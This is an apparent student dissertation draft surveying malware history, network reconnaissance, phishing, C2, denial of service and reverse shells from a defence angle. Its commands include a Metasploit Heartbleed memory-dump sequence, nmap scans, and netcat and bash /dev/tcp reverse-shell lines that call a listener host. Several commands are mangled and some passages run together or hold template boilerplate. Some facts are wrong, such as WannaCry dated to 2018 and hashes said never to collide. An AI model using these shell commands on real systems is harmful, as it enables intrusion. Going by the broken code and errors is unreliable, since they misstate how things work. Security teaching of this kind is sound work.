A Report submitted in partial fulfilment of
the regulations governing the award of

the Degree of

Cyber-Security & Computer Networks

at the University of Northumbria at Newcastle

Project Report

An investigation into infrastructure defence in relation to emerging threats

Carl Slatter

2020/ 2021

General Computing Project

Declaration

I declare the following:

1. that the material contained in this dissertation is the end result of my own work and that due acknowledgement has been given in the bibliography and references to ALL sources be they printed, electronic or personal.

2. the Word Count of this Dissertation is ⟨len⟩
(result of shell command `texcount total inc Dissertation.tex`)

3. that unless this dissertation has been confirmed as confidential, I agree to an entire electronic copy or sections of the dissertation to being placed on the eLearning Portal (Blackboard), if deemed appropriate, to allow future students the opportunity to see examples of past dissertations. I understand that if displayed on eLearning Portal it would be made available for no longer than five years and that students would be able to print off copies or download.

4. I agree to my dissertation being submitted to a plagiarism detection service, where it will be stored in a database and compared against work submitted from this or any other School or from other institutions using the service.

   In the event of the service detecting a high degree of similarity between content within the service this will be reported back to my supervisor and second marker, who may decide to undertake further investigation that may ultimately lead to disciplinary actions, should instances of plagiarism be detected.

5. I have read the Northumbria University/Engineering and Environment Policy Statement on Ethics in Research and Consultancy and I confirm that ethical issues have been considered, evaluated and appropriately addressed in this research.

SIGNED: Carl Slatter . . . .

Acknowledgements

Abstract

A summary of the entire project. From background to conclusions. I recon on about half a page as the upper end of the summary.

This is an example structure for the Terms-of-Reference and the Dissertation. Along with some notes.

You can start by forking the repository on github `https://github.com/dr-alun-moon/cs-dissertation`. Then you have a working copy of this document as a starting point.

Contents

Part I

Introduction

Part II

Analysis

Chapter 1

The Security Landscape

1.1 The Cat & Mouse Game

Technology is always changing, often to the needs of the growing world. Cshanges range from potential to aid traditional sectors to common conveniences that are taken for granted everyday. Software usually has a purpose, and that purpose is normally pure in nature. Software is there to solve a problem, to make life easier. A problem arises in implementation however, as mistakes can happen. The software development process has various stages, the most important of which being testing. Usually testing is conducted in order to identify any potential bugs that might cause issues later. The quality and extent to which a given piece of software is tested varies from sample to sample, and sometimes bugs slip through.

Bugs can be minor or disastrous in nature, and can lead to major problems for those who use it. The solution is usually to send out an update so that a given bug cannot be exploited any further, but this is not a perfect process. There can be reluctance to update, complacency to the maintaining infrastructure or disregard to the issue at hand. Once software is out in the wild, it cannot be retracted. Corporate implementations are already built, and can be abused by criminals who take note of the out of date software.

Both issues of a buggy release and slow update response can exacerbated by corporate culture that put strain on the process. Underfunded, unmotivated and untrained workers will struggle to work to their capability and as a result, security can suffer. Another potential pitfall is mission critical infrastructure. There could be potential issues with implementation, that cannot be fixed easily due to a 24/7 use window. Another issue is legacy reliance; software may work for a certain OS version only, and the new version that is safe could be too expensive or not exist at all. Careful consideration must be give to defence policy, strategy and potential response in order to stay ahead of the cat and mouse game that is cyber-security.

1.2 Response Theory

Response in security is just as important as any other layer. No system or person exists is perfect, mistakes will happen eventually. Those mistakes should be managed by proper training, as will be discussed in the evaluation. If issues are inevitable, even with a good culture; what is the proper response? It varies, but typically a good approach would include simulations planned out ahead of time of what may happen, with best practise as a response. Scenarios are planned out ahead of time in order of likelihoods, preferably with people dedicated to incident response. Separation of duties and planning ahead of time can reduce much of stress and anxiety that can come with cyber attacks or downtime.

Some sensible steps include:

- Airgapping of existing infrastructure
- Checking of logs
- Analysis of audit trails
- Checking of open connections / malware

1.2.1 Zero-Days

When people think of the exploit-update cycle, the first thought would be of patching. Patching is incredibly important, it allows for security issues to be rectified; to an extent in which it's then up to maintenance. Zero day attacks are incredibly potent due to the distinct lack of a patch available. A zero day is essentially a brand new exploit that is suddenly sprung upon the blue team. These exploits can do any amount of damage, with their severity depending on the exploit at hand. Zero days are often sold on the dark net for prices that are in accordance with the severity.

Zerodium - A company that tracks the pricing of various kinds of exploits prices a Windows 10 remote code execution exploit at around $1 million. The price tag pertains to the huge amount of systems running windows as a base, with an incredibly large surface to implement on.

1.3 Historic & Modern Malware Threats

1.3.1 WannaCry & NotPetya

WannaCry is the most famous form of ransomware, which caused chaos for the National Health Service in 2018. It relied on the eternal blue vulnerability to get into systems, a leaked NSA exploit which abused a fault in how SMB 1.0 shares transmitted over the network. Wannacry still works on windows 10, however Eternal Blue was patched.

The malware itself was defeated using a combination of patching and reverse engineering. The malware reached out to specific domains for C2 functionality, however this was a partial design error. The domains were assumed by security companies and the kill switch was initiated to stop the spread, until new strains came out. The intention, as with other ransomware was two fold. Infrastructure damage and financial incentive for a promise to restore the encrypted files.

Other cryptors have made the rounds, including NotPetya which is under suspension of being a nation state attack deploying against Ukraine by Russia. (**?**) NotPetya is a modified version of the Petya cryptor, with the major difference being that it is destruction orientated, with no option for a decryption process. The other difference being that while it kept the basic payload with modifications, it also used the Eternal Blue vulnerability to spread, much like Wannacry. The improved version also implemented a modified Mimikatz build which is a security suite for testing Windows based authentication systems. In this case, it was used to dynamically harvest administrator credentials out of the host's memory. (**?**)

1.3.2 Heartbleed

A heartbeat request asks for a open ssl session to be checked of a given length and content. The length was never checked though so it would read from outside the buffer potentially revealing passwords. Thousands of web servers were vulnerable, including yahoo. A patch was needed to fix this. It resulted in the ability for an attacker to reveal contents stored in memory, such as credentials and other important information.

The attack is simple, as such a metasploit module is available:

```
wget postfile=data https://serverIP/index.php nocheckcertificate

use auxiliary/scanner/ssl/openssln+nbheartbleed
set rhost server IP hereset action DUMP
set verbose true
exploit
```

1.3.3 Loveletter

Love Letter, also known as ILOVEYOU is a worm that circulated in the year 2000. It was an email based malware that uses a VBS script to hijack Outlook, and send then itself to the contacts book. (**?**) It can be speculated that this was particularly potent due to the culture of the internet at the time, where most people who communicated, did it via email. This means that a typical contact book was full enough for this attack to be effective, while also leveraging the trust element of the hijacked sender.

Contents (**?**):

The Subject: ILOVEYOU

Message body: kindly check the attached LOVELETTER coming from me.

Attached file name: LOVE-LETTER-FOR-YOU.TXT.vbs (Windows hides the file extension, shows itself as a text file)

The malware then proceeds to implant itself into the system, and modify the Internet explorer start page to one of four that hosts a Trojan payload. The Trojan itself is designed to install into registry, just like the stager, and then capture system data to exfiltrate out to the Trojan host via email (mailme@super.net.ph). (?)

Information stolen includes:

1. Hostname
2. IP Address
3. Login Information

AutoRun Registry Locations Used (?):

Listing 1.1: Targeted Registry Hives

```
HKLM\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32
HKLM\Software\Microsoft\WindowsCurrentVersion\RunServices\Win32DLL
```

1.3.4 SQLSlammer

SQLSlammer was created in 2003 based off a proof of concept warning from David Litchfield who discovered that by sending single packets to a Microsoft SQL Server (2000) on port 1434, a number of effects can be triggered. Most of the data values of the payload would crash the server, but one didn't. (?)

David discovered that 0x083A (8:¡hostname¿) can be used to inject arbitrary data, meaning that there was a buffer to store it. This field was not validated as it expected a pointer, and when given a NULL value, it reacted unpredictably. (?)

Buffer overflows can lead to binary hijacking if given the right data, in this case a long hostname. This was abused in SQL Slammer that would send single packet malware to port 1434 using some of the code provided by David at a security event. This single packet behaviour is called a 'Warhol Worm' and is notable due to the fact it only persists in memory and is a surprising 376 bytes in length. (?) A restart would fix infection, however due to the fact that most of the SQL servers on the internet of the time was infected by the worm, reinfection was likely without patching or firewall rules.

The worm created a massive rise in patching culture due to the large amount of infections, and changed how security was viewed by all involved. (?)

1.3.5 Mirai

Mirai was a IOT botnet based worm that circulated in 2016 (?). The botnet was mainly used in distributed denial of service attacks on various targets to flood their systems to cause outage. At it's peak, it had an army of 600,000 devices (?). These devices are somewhat weak on their own but reached a strength of 1 Terabit per second (?). The reason this was so impactful was the sheer amount of data that systems had to handle.

```
1 terabit = 125000 Megabyte

125000 / 1.8* = 69444 images pushed per second.
```

* 1.8 = Average 15 Megapixel JPEG picture (?)

The above shows the scale of that kind of throughput in material terms. In reality, data is arbitrary and only serves to crash the systems that are targeted for attack.

Mirai's Traits (?):

- Linux based malware, mainly targeting IOT
- Self replicated via telnet scanning for default or well-known credentials
- Contacted an internet based C2 server
- Utilized HTTP, UDP and TCP flooding DoS techniques
- Used against ISPs, Minecraft servers, AntiDDoS services and others.

1.3.6 Emotet

Emotet is a modern Trojan that is spread via email links and attachments. It has had various version, each having improvement over the last. Typical malicious tactics are implemented such as the exploitation of urgency, curiosity and fear among overs. The malware spreads via email with worm behavior, and like Loveletter, it repopulates via contact book abuse. (?)

The primary goal of the malware is to gain access to the victim's bank account, often accessed through a web browser. Exploits include macro scripting on document execution and JavaScript exploitation. Both methods result in a C2 structure in which the attacker can control the actions of the malware. This includes seamless updating of the malware, exfiltration of data and further payload deployment. (**?**)

One of the indicators that it is a modern strain of malware (dating back to 2014) is that it has virtual machine detection. (**?**) The reason why is clear, virtual machines are controlled environments in which malware is often analysed and reverse engineered. VM detection usually comes in the form of a review of the system setup.

Common indicators include:

1. Shared folders
2. Shared clipboard
3. Unrealistically low RAM
4. Fresh desktop environment
5. VMware device drivers

Upon network access, it will try to pivot by conducting brute force and word list attacks on nearby services. It is clear that by studying modern malware, that tools and techniques that are historic are implemented in new ways, often in combination with other modern malware.

Chapter 2

Defence Technologies

2.1 Variation of Defence Systems

2.1.1 Network Monitoring Capability

Monitoring is rather important. Particularly in a manual capacity; having the ability to analyze the flow of the network can aid in both troubleshooting and manual anomaly detection. The difference in human cognition to a machine's is massive; A machine will think as you tell it to think, and will not act dynamically unless you tell it how should learn. Humans on the other hand have excellent learning and analysis potential as is. This means it is important to utilize the human element to further harden a network via manual monitoring.

There are many ways to do this, perhaps with grafana dashboards which import all the key data metrics into one. Another avenue could be to use wireshark (or a similar implemented program) to check what is happening at a particular time.

For example, if there is suddenly lots of half open TCP or ICMP requests, there may be a DDoS attack. Another reason that a human brain is beneficial is that it has the capacity of content. A flood of HTTP traffic may look like a DDoS attack, but may actually be a holiday like black Friday in which you may expect heightened traffic.

2.1.2 Firewall Rules

A firewall acts as a device between hosts and the internet and filter incoming and outgoing traffic. They can be in hardware and software form.

An ACL is a series of IOS commands that control whether a router forwards or drops packets based on information found in the packet header. They can limit network traffic to increase performance, provide traffic flow control to restrict delivery of routing updates to ensure they are from a known source, and allow us to restrict part of the network from communicating with another part of the network, while allowing another. We can also block based on traffic type, e.g telnet, while allowing email. ACLs can also be used to tag traffic as priority. A VIP pass of sorts. We have inbound and outbound ACLs. Inbound filters packets coming from a specific interface, outbound does the same independent of the inbound interface, there could be multiple. An ACL uses a wildcard mask to select specific groupings to allow or deny access.

The above system uses the idea that only the vpn port is open, with everything else requiring local or vpn access. Firewall rules are used to block everything else that is on the same device, such as the DNS server. Additonally firewall rules could be used internally to stop privilege escalation but unlikely in a home LAN setup. It is sensible to only allow local devices to access the public IP other than for the VPN so it is a whitelist. The firewall is on the same device as the VPN purposely, if the device goes down, the firewall rules do sure, but so does the VPN which eliminates the access regardless.

2.2 Threat Definition

It becomes increasingly important in defence to know what the opposition might try. There are an absurdly large amount of malware out there, and as such; it's quite important to be able to classify them based off their traits.

2.2.1 Classification of Threats

Malicious software, often called 'Malware' is an ever growing problem for system administrators. There are many threats out there now, and as such, it makes sense to have some form of classification process, a discussion of the categories is important. Additionally, it's rather important to understand that the below categories are overarching, and behavior may warrant subcategories. (?)

Firstly, viruses. They act as the term used for all malware as an umbrella term by the general populace. They require user interaction to start, often binding to otherwise legit applications to act as a trigger. They are less common these days due to the interaction factor, with only 10% of malware classifying as a virus. They can be quite difficult to clean up due to their infecting nature. (?)

Worms act similarly but their main distinguishing difference is that they often don't need user interaction to trigger and will reproduce themselves over a network. Loveletter and SQLSlammer are a fantastic examples of this, showing that the Internet's vast connectivity can lead to a worldwide compromise in hours given the right circumstances. (?)

Trojans are by far the most common pick as of writing for a budding computer hacker. They similar to viruses in that they interact with applications, and that they both require some user interaction to start. The differences lie in behaviour before and after infection. They prefer to masquerade as legitimate programs, that upon execution, do something different entirely, or serve a secret purpose to just what the cracked software or emailed document that was inevitably downloaded for. They do not replicate, preferring to create C2 structures with backdoors, and employ remote access Trojan (RAT) tactics of creating persistence, often in the form of covert screen sharing. (?)

Rootkits are pieces of malware that share similar traits to that of other classifications of malware, they cannot replicate on their own, and employ c2 structures for remote commands and file execution. Their defining trait comes in how they are implanted, and their reach. They tend to burrow rather deep into the system, usually completely hijacking core operating system functions, or even implanting into the BIOS. They typically have high levels of access to both software and hardware with even cases of rootkits being found in malformed firmware. They are difficult to detect and harder to get rid of, with people usually having to either scrap, or deep wipe hardware. ?

You also have malware that is classified based more on the damage caused, rather than the transmission or re-transmission methodology. A non extensive list would include adware and spyware. Adware will reach your machine through one of the above mediums and infect key parts of the operating system. The goal is to sideload web content into vision, preferably where they would be expected normally.

Ads are how much of the internet makes money, and as such if a strain of adware can infect many machines, there is a great financial incentive. Areas hijacked often are JavaScript elements, browser toolbars, page redirects and notifications. Not to be confused with malvertising where advertising networks are the infection vector. (**?**)

Secondly, as stated, there is spyware. Much like adware, it will get onto the system in a given way and will then trigger. The trigger in this case is surveillance. This may include sending key-inputs, browsing history, webcam streams, mic inputs and even implement RAT behaviour to get a live stream of their desktop. citeMalwareClass02 (**?**)

There are many more, some of which will be discussed at relevant parts of the paper.

2.3 Anomaly Detection

2.3.1 Machine-Learning

Machine learning is a relatively new technology, that aims to reform the programming process. Typically with software engineering, the end algorithm is explicitly laid out; often encompassing every conceivable scenario. This methodology is easier to implement at a basic level but challenging to scale, and susceptible to human bias. Machine learning differs in that an environment is given, a data-set assigned and simulations are ran. Tweaks are made on the fly, by both human and the program itself. This can help expose amazing discoveries that a human would struggle to find, along with a system created that can detect and prevent proactively.

Protocol Adaptation

Different protocols work in varying ways. An approach that monitors them in the same capacity is sure to fail, due in large part to the variation of data handling. Defensive systems must be able to identify the protocol, be aware of it's legitimate use, as well as signs of tampering. For example, detection systems should not treat a HTTP packet the same as they would ICMP. Their threat potential is quite distinctly different, and as such; it is important that part of the learning process is dedicated to finding the normal. Anything that deviates from the "normal" is considered an anomaly, and can be acted upon in a given set of ways.

2.3.2 Signature & Pattern Matching

An interesting question could be made. What is considered a threat to a computer? The simplest answer is "something that is predefined". In computer science, a method of validating integrity is to use a process called hashing; a process in which no two pieces of data can return the same value. There are various algorithms out there, some of which are broken like MD5, meaning they can be abused to return the same value for multiple data sets. If data can be represented as a value, then that value can be checked conditionally for a match against a database. This is the fundamental idea behind signature analysis, most commonly used in anti-virus technologies, as static analysis.

2.3.3 Behavioural Dynamic Analysis

Polymorphic encryption and malware versioning has historically shown that static analysis is not enough, it is an important part but cannot stand on it's own. The idea behind dynamic detection is that rather than studying the data at rest, analysis is conducted on either the running malware, or a simulated version of it. Ultimately malware across versions aims to do the same task, albeit in slightly differing ways. If the methodology can be identified; the malware can be defeated. This requires a much more skilled approach; A comparison of before and after. ProcMon on Windows is excellent for this; it will let you see what registry keys have changed, what files are new and any peculiar processes. Machine learning has been leading the charge in this field, as well as automatic signature matching.

2.3.4 Whitelist vs Blacklist Approach

The choice of a white vs black list is one that depends on infrastructure design. Abstractly, it depends on the approach; if their are many unknowns in the system, a blacklist may have to be used. Similarly the inverse is true. Research shows that a whitelist approach is preferential for security though more specific in implementation.

Whitelisting in this sense refers to a predefined set of hosts that are allowed access to a given device, rather than a ”find and block” approach of a blacklist. Whitelisting requires full knowledge of present and future variables in the network, whereas blacklisting allows for easier expansion.

Blacklisting is more susceptible to hacking due to the nature of simply altering the threat to bypass checks; something that whitelisting may prevent. Zero day exploit control is highly dependant on systems only having required access, something that when planned properly, can use a whitelist approach. The approach will vary across the network and as such prioritization of security and looseness of security for usability must be considered.

2.3.5 PoC IDS Objectives (It must..)

1. Detect network interfaces
2. Bind to a network interface
3. Capture data and output to a file/standard output
4. Flag up unusual activity from a few notable attack types
5. Control via command switches
6. Be well written and meaningful to the idioms of the language
7. Have testing/design documentation

Chapter 3

Malware Mechanisms - Entry Vectors & Profiling

3.1 Exposure & Scanning

The internet is about freedom of opportunity, and is why so many companies have succeeded. Services are accessible and convenient. The ability for anyone to access a service is 'double-edged'. If anyone is able to access it legitimately, it allows potential for a threat actor to conduct their processes also. The first process is often enumeration and scanning. Attacks are much more effective when they are meaningful, scoped and targeted. A criminal can use information gathered to hone in later attacks for full effect.

3.1.1 NMAP

NMAP is an extremely useful networking application that allows for a great deal of network reconnaissance. It's main use being the mapping out of networks, as the name would suggest.

Fingerprinting & Banner Grabbing

A threat actor can learn much from a network, particularly if it is widely exposed to the internet. Valuable enumerated data includes: software names and versions, operating system patch numbers, open ports and typical response. Much can be learned based off how software responds. It could respond in a way that is particularly unique, allowing for identification. This could be a message, or typical behavior for that piece of software. This probing is called banner grabbing and is one of the first steps in any hacking endeavour. A typical example is a web server; if a HTTP request is made on port 80, there will likely be a HTTP response (assuming the port is open). That page in such case would be a vector for identification, with the web server also having potential for version disclosure with default files. Another potential way to identify would be to use a standard ping function. There is fingerprinting capability built into the variable implementation of the ICMP protocol. Different operating systems have differing ping response times, which gives away the platform. This is impactful as OS version and architecture disclosure means exploits are filtered down to those more likely to work.

These are trivial examples, but show that exposure can lead to the "hacker mindset" being utilised.

Host Discovery Scan (Subnet Scoped):

```
NMAP sn 192.168.1.1254
```

Noisy Host Probing Scan:

```
nmap sC sV vvv oA  /Documents/nmapscan.txt 192.168.1.50
```

3.1.2 Firewalking

Firewalking a technique of probing a firewall to check what is and isn't allowed. This process operates at layer 4, and means that the respective protocols can be interacted with, using conditional flags. The most common identifiers are IP, MAC, Subnet, port and VLAN. It is achieved by creating a layer 4 packet that has a TimeToLive value 1 higher than the gateway. The packet will attempt to pass through the firewall, and will return ICMP$_{T}IME_{E}XCEEDEDifpassedsuccessfully, otherwisethepacketwaslikelydropp$

A potential use case is to see what is and isn't blocked to make an educated guess on where valuable infrastructure is, and to potentially spoof a layer 2 or 3 address to bypass firewall restrictions.

3.1.3 Network Pivoting

One of the most potent traits of malware (particularly worms) is their ability to spread rapidly. Once malware has a foothold in a network, it can take advantage of the networked nature of infrastructure to check what that machine can talk to. It can then conduct either manual or automatic network reconnaissance and enumeration, with the hope to find a vulnerable service to exploit. The advantage of hacking multiple machines is that they can have different levels of security and access, leading to potential privilege escalation.

The Metasploit Framework has a program called meterpreter which allows you to run modules using the victim system, and push it through by binding to a process. The process bound to depends on the architecture and software security level, but is dangerous because it means that the tools on the system are fairly irrelevant.

3.1.4 CVEs & Shodan

Exploits are common, and are numerous. There are way too many to know by name or nature. There is a need for a standardised classification; this exists in the form of ”Common Vulnerabilities and Exposures (CVEs)”. A CVE is essential a unique record for a given vulnerability, often used in the cyber-security industry for disclosures and reference. Each CVE is registered in the database (can be found at exploit.db) and is given a severity score, known as the CVSS score.

Often exploit implementations and proof of concepts are provided with disclosure of a CVE, that sometimes vary. There is a culture in the security scene of who can have the most covert and efficient exploit for a given vulnerability. An outside perspective may use the argument that this is harmful to security. While this is true in some circumstances, tools and exploits are able to be created and exploited regardless of legality. The security consensus typically is around pushing security boundaries through testing and not leaving it up to chance.

Shodan in conjunction creates a very deadly pair. Shodan is a internet connected device search engine that allows fine tuned filtering. Shodan does not explicitly scan, instead reporting back what is already publicly available, even if tricky to find naturally. What forms is a database that tracks operating systems, software and versions of devices all over the world. This can be used in conjunction with a compatible CVE to potentially compromise a network. The inverse is true, it can be an asset to create awareness of exposure and help push security forward as a result.

3.2 Social Engineering

Social engineering is the art of exploiting the inherent vulnerabilities that lie within humanity. Access is most easily leveraged by manipulating someone, especially compared to finding the needle in the haystack regarding finding a relevant vulnerability at the machine level. Consider the example in which the main company database has been secured; all the software is up the date, the passwords strong and properly stored as hashes. What if instead of traditional hacking methodologies, someone simply walked in with a high visibility jacket and walked out with the system, citing maintenance as the reason. (**?**)

3.2.1 Phishing

There are two main strands of phishing. The kind you are most likely familiar with is simply called phishing, and pertains to the act of sending a victim to an impersonated site with the intention of them putting real credentials and info down.

The second being spear phishing which is the same with one main difference. That difference being the scope and scale. A normal phishing attack tends to be widespread, generic and assuming. The spear counterpart prefers to use reconnaissance to tailor make the email into something that fits them. The goal being to exploit some kind of weakness for a higher payoff via privileged users such as CEOs and unsuspecting admins.

Every website uses HTML files in some form. These usually can be replicated with proper CSS that is in public view. This means you can create a site that looks exactly like PayPal for example, with the idea of the victim typing their real credentials in, which goes directly to the hacker's server. There are usually entry points to this, a sophisticated one is where ”free WiFi” is set up, someone connects to it, is sent to a login page that you made where they register and type their credit card info, as if they were the real hotel for example. It can be used in conjunction with DNS phishing below to make them indistinguishable at times.

Such attack could also be used to distribute malware in a drive-by attack as talked about. The legit site likely would never have such code, but the custom one very much could. This can lead to much greater consequences. The thing that is fairly scary about this is how easy it is to setup a DNS server. You can even do so with a Raspberry Pi in about 10 mins for example.

A combination of the above could be used here, to hijack a DNS server to point to this, a cloned website, with a different premade template:

Spear phishing is where you send email enmasse to lure people into clicking some form of link or file. They are often non targeted and usually aim to trick the victim with techniques like urgency, trust and fear. The idea of these campaigns are not to trick everyone, in fact as a whole very very few people fall for it. You will get your small minority that it works on, and that's what they rely on. The solution to this is proper email sanitation, with checks of email header tampering, some form of verification and file/link whitelists.

3.2.2 USB Dropping

USB devices carry data in a convenient way through flash storage. They are cheap, quiet and very portable. They can be encrypted and are a great asset to productivity. There are however security concerns around a specific use case of them. Some models of USBs allow for firmware altering; altering that allows some tools to configure it to trick devices it is plugged into it, that it is a keyboard.

Keyboards can obviously type, with keyboard input being inherently trusted. Input is usually dictated by scripting (commonly ’ducky script’) with typing that is far faster than a human can write, or even read often enough. A victim may plug it in, see a black command prompt window and have a potential compromise without even knowing. The script could do any manner of damage, usually a payload based off the topics covered in this paper.

The attack preys upon the human emotion of curiosity, as these USBs are usually either dropped outside randomly and picked up or given in seemingly good faith. Another interesting point to consider is supply chain. Every USB has to be made, and therefore should be a trusted retailer with regular random testing. A cheap 2tb USB stick off eBay may not be the best idea, especially considering that reported device size can be faked to the operating system, where it will overwrite itself past it's threshold.

3.3 Address Spoofing

In most cases, networks rely on some form of addressing. Addressing allows for scope of computation, and to direct traffic to a given destination. Addressing can also be used for conditional statements, commonly for the implementation of firewall and switch port security rules. Outside of additionally validation of identity, addressing is considered absolute, and is inherently trusted. (?)

In this sense, the question becomes, can you place a malicious server in the network and pretend to be an allowed IP address? It is possible and is called IP spoofing. A DNS server could be removed from the network, allowing for a threat actor to take it's IP address, which in turn allows for potential compromise of clients. Active directory is a domain controller platform developed by Microsoft, that aims to manage access of users and groups to resources.

If this were to be compromised, it would be disastrous. The reason being that IP addresses are intrinsically tied to domain names, and as such, a spoofed IP, also leads to a falsified domain, which propagates between internal infrastructure. (?)

Another important concept pertains to a specific manipulation of access control lists. Infrastructure tends to follow networking trends, i.e using schemes starting with 192.168.x.x or 10.10.10.x. This knowledge combined with reconnaissance can be used to map out what is normal inside the network. If a detection/prevention system treats WAN and LAN the same, a threat actor could pretend to be 192.168.x.x, of which a gateway firewall rule exists to allow access. This fault comes from lacking configuration of which side of infrastructure traffic is coming from. It is reasonable for private IP space traffic to be allowed within for hosts that need it, but said rules should be scoped only to LAN, unless absolutely necessary. There are cases where some insecurity cannot be avoided, in such cases defence in depth is paramount.

The above pertains to network layer validation, in which an IP address is targeted. The same can be done for the data-link layer, in the form of MAC addresses. MAC addresses can be leveraged to control access to the network, and are useful because they are globally unique and have a vendorID that can be filtered. This could mean that you could only allow certain MAC addresses to talk to a router for example. This means that even a spoofed IP would not allow access, however, it is possible to fake a MAC address too, using 'macchanger'. The malicious node could pretend to be on which is allowed, and therefore gain access for communication. This can be accomplished with the tool 'macchanger'. (**?**)

The above approach would depend on the access control system in place. If there is a whitelist, the above method would have to be used, which requires knowledge of allowed MAC addresses. If a blacklist is in place, a device could simply use the tool to switch it to something that is not on the block list, perhaps by changing the vendor. If the blacklist is aggressive, and dynamic, then macchanger can be leveraged to re-spoof the MAC on each boot.

Chapter 4

Malware Mechanisms - Exploitation

4.1 Command & Control

Malware traditionally is static, meaning that it executes a given task and then finishes. Malware that can be malleable is an asset to a cyber criminal. Some malware has since adapted a command and control model, often shortened to CC or C2. Such model dictates there are 'zombie' machines and a respective master, a master whom sends commands for the zombies to conduct. A botnet.

No longer is malware a sequential process in such case, a threat actor could order it's army to carry out any number of malicious actions. Such systems do have advantages; A large army can do major damage to vulnerable systems, whether in the form of denial of service or otherwise. Another reason to use a system such as this is that it creates a layer of pseudo anonymity. The zombies are conducting the attack; not the master technically. Defence systems would flag up the attackers directly, with the real threat actor getting away with the attack potentially.

A few things of note; systems are usually zombies without knowledge through some kind of botnet malware. Additionally, if analysis is conducted of a zombie machine (perhaps an acquisition of a cloud virtual machine), then the communication channel may be clear. Proxy chains can help avoid this, creating more layers of relay.

4.1.1 Side Channels

There are two kinds of channels that C2 structures operate in. The first is the heartbeat message. Abstractly, a heartbeat, or also known as a keep-alive message is any transmission that lets the botnet master know that a given bot is alive and well. Details can include time, hostname, IP and other relevant system data. **?** Specifics of implementation are covered in the DNS Exfiltration section. One of the nuances for variability here is how bots are distinguished from one another, an example is given later. **??**

The second are control messages. Again, the implementation is covered in the DNS section **??** but from a top down view, they use variable data to distinguish between instructions. These instructions are referenced using pseudo 'OPCodes' of which reflect an action. **?** Actions could include but are not limited to :

1. Downloading a remote payload
2. Uploading sensitive data from the victim's machine
3. Serving a reverse shell
4. Conduct denial of service activity
5. Wipe malware and traces

4.1.2 Denial of Service

This attack makes use of the simple fact that downtime for a server or host can often cause frustration and in many cases loses people money. This means to some people there is an incentive to be able to do this. The general idea is that if you flood a host with enough ICMP (ping) traffic, it will halt and not be able to process anymore information, this is not only for the attacker but for everyone. This would be considered a DOS attack. This usually can't do nearly as much damage as the Distributed Denial Of Service or DDoS attack can.

DDoS uses the same concept but with a network of attacking machines all linked together. This could be a large number of machines the attacker owns or zombie machines that the attacker has gained control of with malware and is using for their attack. This multiplies the scale of the attack up to thousands sometimes and is a real problem; it can take down industry standard servers if care is not taken to analyse what traffic is coming in.

A DoS attack in the confines of this paper, is the process of sending ICMP requests on mass to a host in the hope of slowing or taking down a service. The reason this is potent is that the host cannot ignore the echo request, it must respond to it by default. This creates overhead in the parsing processes which take resources, in the form of CPU time and RAM. The attack lessens the resource pool for other services, making them struggle. It tends to be that a great number of ICMP packets of moderate size must be sent for the desired outcome.

There is a concept of a distributed denial of service or DDoS attack which makes use of multiple attacker machines to take down a target host. The general idea is that when the number of attackers increases, the number of ping requests tend to as well. This brings about the result faster and for longer. This is possible in part because the machines each have their own network interface, which is flooding the target system as fast as possible. The fact they are coming from different sources creates a larger overhead. DDoS is very commonly conducted by hackers using a 'botnet'.

A botnet being several machines that are under the control of the threat actor, usually through nefarious means like malware infections. This is normally without the real user's consent or knowledge. The botnet works for two reasons; distributed hardware for maximum potency and concealment of the true attacker. There are many forms of DoS. ICMP flood is the main focus, but others will be discussed for context and scale.

There are TCP based attacks in which a 3-way handshake is initiated and stopped after sending a SYN packet and receiving a SYNACK back. (**?**). Do this enough and there are thousands upon thousands of half open connections that are taking resources. In some ways this is harder to spot that ICMP and simply disabling TCP could be very detrimental. TCP is so integral to even basic functionality in a lot of applications that infrastructure could just fall apart logically. (**?**) Then there is perhaps the deadliest form of digital DoS, custom packet crafting. In this attack the hacker would create custom packet headers that have certain flags enabled, that would never normally be enabled together.

This makes the recipient very confused, which is dangerous. An unpredictable system could do anything. It is equivalent to inputting a number into an upper-case check program. It would be hoped that the programmer would have accounted for edge cases of malicious or accidental input, but you cannot guarantee it.

There are sometimes application specific exploits which take advantage of the fact that data is stored internally with overflow potential. Similarly, there used to be attacks around that sent malformed packet size in fragments to overload and bypass OS level size restrictions to take down systems. This is called the ping of death and has been fixed for a long while but remains to be good context none the less. (**?**)

There are other more direct types of DoS, namely an attacker cutting off the internet or even stealing hardware to prevent service. There are even types that are legal, and unavoidable such as the concept of company competition. If a rival company who offers a similar service opens, that is denying service in a very abstract sense. The point being is that Denial of Service alone is a type of attack rather than an attack itself and should be considered in every facet of infrastructure and security development, rather than only in a single place. (**?**)

4.2 Bind vs Reverse Shells

A Bind/Remote shell is connecting from 'hacker' to victim and establishing a terminal session over IP. This is more of a backdoor, usually once initial compromise has already occurred. This activity usually seen by firewalls and can be ruined by change of ports, additionally DHCP and NAT cause IPs to change and as a result, the IP of the host, and therefore the listener is unknown.

A reverse shell is the inverse, the victim machine connecting the the 'hacker's' listener. This requires that some form of exploit is conducted, in order to run the arbitrary code required. This does mean passing an IP and port over the network, in order to establish a connection, however a combination of TLS and proxy chains could help avert this issue.

Netcat lets a threat actor set up connections between a host and a listener. There is the ability to also connect to any listener that is not nativity netcat based, which is referred to as banner grabbing, simply using nc on a IP port can do this. There are different implementations of netcat, such as nc and Nmap's ncat. (**?**)

ncat -lvp 1234 nc 192.168.0.240 1234 -e cmd.exe or /bin/sh or whatever shell/program

Let's say we have found a remote code execution (RCE) vulnerability on the target host. We can than issue the Netcat command with –e on the target host and initiate a reverse shell with Netcat to issue commands.

Alternate Tools & One Liners:

```
bash i n+nb /dev/tcp/IP/port 0n+nb1  A one liner that can be
 ↪  injected into most UNIX systems to grant a shell.
MSFVenom  The Metasploit Framework payload creation tool, full of
 ↪  modules for different architectures that safe time so long as
 ↪  they are understood.
Pwncat  A modern version of reverse shell technology, creates a C2
 ↪  structure for better persistence, priv esc, stability, ease of
 ↪  use and control.
```

(**?**) (**?**) (**?**)

4.3 Data Cryptors

Data is our most valuable asset, with much of it being irreplaceable. This is true for both home and corporate users of technology. There is no feasible retaking of a deceased loved one's photo, or the recollection of millions of customer records. This is the sad reality of what data cryptors target. There are two main motivations for an attack of this kind, one in which access to given data is removed, often permanently.

Firstly, Ransomware. The goal is to encrypt as much data as possible with a randomized key, rendering data unless without said key. The attackers then offer the key in exchange for a large amount of money, often in cryptocurrency for anonymity. Distressed victims may then pay the ransom and may or may not get their data back. There is controversy at the time of writing about paying the ransom, which gets even more complicated by the 'professionalism' that is evolving into the very lucrative ransomware business. The idea being that if an attacker group has 24/7 live chat and customer service, they are even more likely to hand over money.

